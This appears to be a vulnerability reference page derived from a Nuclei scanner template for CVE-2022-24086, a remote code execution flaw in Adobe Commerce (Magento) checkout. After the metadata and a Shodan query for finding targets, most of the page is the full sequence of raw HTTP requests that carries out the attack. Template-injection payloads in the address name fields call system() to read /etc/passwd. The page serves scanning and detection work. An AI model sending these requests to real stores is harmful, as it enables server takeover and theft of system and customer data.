| Title | Adobe Commerce (Magento) - Remote Code Execution |
|---|---|
| Author | daffainfo |
| Severity | Critical |
| Impact | Attackers can execute arbitrary code on the server, potentially leading to full system compromise. |
| Remediation | Update to the latest version of Adobe Commerce that addresses this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93778 |
| CVE ID | CVE-2022-24086 |
| CWE ID | CWE-20 |
| Shodan Query | X-Magento-Tags |
| Tags | cve cve2022 adobe magento commerce rce intrusive kev vkev |
Adobe Commerce versions 2.4.3-p1 (and earlier) and 2.3.7-p2 (and earlier) are affected by an improper input validation vulnerability during the checkout process. Exploitation of this issue does not require user interaction and could result in arbitrary code execution.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
POST /checkout/cart/add/uenc/aHR0cDovL3d3dy52aWN0aW0uY29t%2C/product/Aan4kT/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 342
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2gMM6E6ZIRMtnlg4
Cookie: form_key=NWGyRn
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
------WebKitFormBoundary2gMM6E6ZIRMtnlg4
Content-Disposition: form-data; name="product"
Aan4kT
------WebKitFormBoundary2gMM6E6ZIRMtnlg4
Content-Disposition: form-data; name="item"
Aan4kT
------WebKitFormBoundary2gMM6E6ZIRMtnlg4
Content-Disposition: form-data; name="form_key"
NWGyRn
------WebKitFormBoundary2gMM6E6ZIRMtnlg4--
GET /checkout HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /rest/default/V1/guest-carts/Cn2DaQ/shipping-information HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
Connection: close
Content-Length: 789
Content-Type: application/json
Accept-Encoding: gzip
{"addressInformation":{"shipping_address":{"countryId":"FR","regionCode":"","region":"","street":["cbcaa"],"company":"","telephone":"67318","postcode":"12311","city":"cbcaa","firstname":"\{\{var this.getTemplateFilter().filter(foobar)}}\{\{var this.getTemplateFilter().addAfterFilterCallback(system).filter(cat$IFS/etc/passwd)}}","lastname":"cbcaa"},"billing_address":{"countryId":"FR","regionCode":"","region":"","street":["cbcaa"],"company":"","telephone":"67318","postcode":"12311","city":"cbcaa","firstname":"\{\{var this.getTemplateFilter().filter(foobar)}}\{\{var this.getTemplateFilter().addAfterFilterCallback(system).filter(cat$IFS/etc/passwd)}}","lastname":"cbcaa","saveInAddressBook":null},"shipping_method_code":"flatrate","shipping_carrier_code":"flatrate","extension_attributes":{}}}
POST /rest/default/V1/guest-carts/Cn2DaQ/payment-information HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Content-Length: 469
Content-Type: application/json
Accept-Encoding: gzip
{"cartId":"Cn2DaQ","billingAddress":{"countryId":"FR","regionCode":"","region":"","street":["cbcaa"],"company":"","telephone":"67318","postcode":"12311","city":"cbcaa","firstname":"\{\{var this.getTemplateFilter().filter(foobar)}}\{\{var this.getTemplateFilter().addAfterFilterCallback(system).filter(cat$IFS/etc/passwd)}}","lastname":"cbcaa","saveInAddressBook":null},"paymentMethod":{"method":"checkmo","po_number":null,"additional_data":null},"email":"HMruOt@Jqqoj.com"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24086.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-24086.pcap
N/AN/A